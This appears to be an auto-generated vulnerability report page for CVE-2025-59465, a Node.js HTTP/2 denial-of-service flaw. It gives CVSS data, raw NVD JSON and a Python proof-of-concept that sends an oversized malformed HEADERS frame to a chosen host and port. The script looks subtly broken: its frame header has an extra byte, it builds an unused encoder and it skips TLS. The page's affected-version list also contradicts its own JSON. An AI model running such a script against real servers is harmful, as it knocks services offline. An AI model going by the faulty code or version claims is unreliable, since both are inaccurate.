Security Vulnerability Report
中文
CVE-2025-59465 CVSS 7.5 HIGH

CVE-2025-59465

Published: 2026-01-20 21:16:04
Last Modified: 2026-01-30 20:25:40

Description

A malformed `HTTP/2 HEADERS` frame with oversized, invalid `HPACK` data can cause Node.js to crash by triggering an unhandled `TLSSocket` error `ECONNRESET`. Instead of safely closing the connection, the process crashes, enabling a remote denial of service. This primarily affects applications that do not attach explicit error handlers to secure sockets, for example: ``` server.on('secureConnection', socket => { socket.on('error', err => { console.log(err) }) }) ```

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:* - VULNERABLE
Node.js < v18.x.x (需确认具体修复版本)
Node.js < v20.x.x (需确认具体修复版本)
Node.js < v22.x.x (需确认具体修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-59465 - HTTP/2 Malformed HEADERS DoS # This is educational code for vulnerability analysis only import socket import hpack def create_malformed_hpack_headers(): """Create oversized invalid HPACK data for HEADERS frame""" encoder = hpack.Encoder() # Create oversized HPACK data oversized_data = b'\x00' * 65535 # Oversized HPACK data return oversized_data def send_malformed_http2_request(host, port): """Send malformed HTTP/2 HEADERS frame to trigger DoS""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # HTTP/2 connection preface preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n' sock.send(preface) # Settings frame settings_frame = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00' sock.send(settings_frame) # Malformed HEADERS frame with oversized HPACK malformed_hpack = create_malformed_hpack_headers() length = len(malformed_hpack) headers_frame = bytes([0x00, length >> 16, length >> 8, length & 0xFF, 0x01, 0x00, 0x00, 0x00, 0x01]) + malformed_hpack sock.send(headers_frame) sock.close() print(f'Sent malformed HTTP/2 HEADERS frame to {host}:{port}') if __name__ == '__main__': import sys if len(sys.argv) < 3: print('Usage: python cve-2025-59465.py <host> <port>') sys.exit(1) send_malformed_http2_request(sys.argv[1], int(sys.argv[2]))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59465", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:04.010", "lastModified": "2026-01-30T20:25:39.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malformed `HTTP/2 HEADERS` frame with oversized, invalid `HPACK` data can cause Node.js to crash by triggering an unhandled `TLSSocket` error `ECONNRESET`. Instead of safely closing the connection, the process crashes, enabling a remote denial of service. This primarily affects applications that do not attach explicit error handlers to secure sockets, for example:\n```\nserver.on('secureConnection', socket => {\n socket.on('error', err => {\n console.log(err)\n })\n})\n```"}, {"lang": "es", "value": "Una trama `HTTP/2 HEADERS` malformada con datos `HPACK` sobredimensionados e inválidos puede provocar que Node.js falle al desencadenar un error `ECONNRESET` de `TLSSocket` no manejado. En lugar de cerrar la conexión de forma segura, el proceso falla, lo que permite una denegación de servicio remota. Esto afecta principalmente a las aplicaciones que no adjuntan manejadores de errores explícitos a los sockets seguros, por ejemplo:\n```\nserver.on('secureConnection', socket =&gt; {\n socket.on('error', err =&gt; {\n console.log(err)\n })\n})\n```"}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "20.0.0", "versionEndExcluding": "20.20.0", "matchCriteriaId": "A78B4AE9-C1B4-4DD0-9EDF-A3A60431B6DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "22.0.0", "versionEndExcluding": "22.22.0", "matchCriteriaId": "132A7510-B3E9-4F85-9B61-A834B12DD7D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.13.0", "matchCriteriaId": "A83233BD-D901-4A1A-A3AF-0DC3E76CD2C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*", "versionStartIncluding": "25.0.0", "versionEndExcluding": "25.3.0", "matchCriteriaId": "970EF154-D905-4FDA-85CB-C3AB08BEFAEC"}]}]}], "references": [{"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}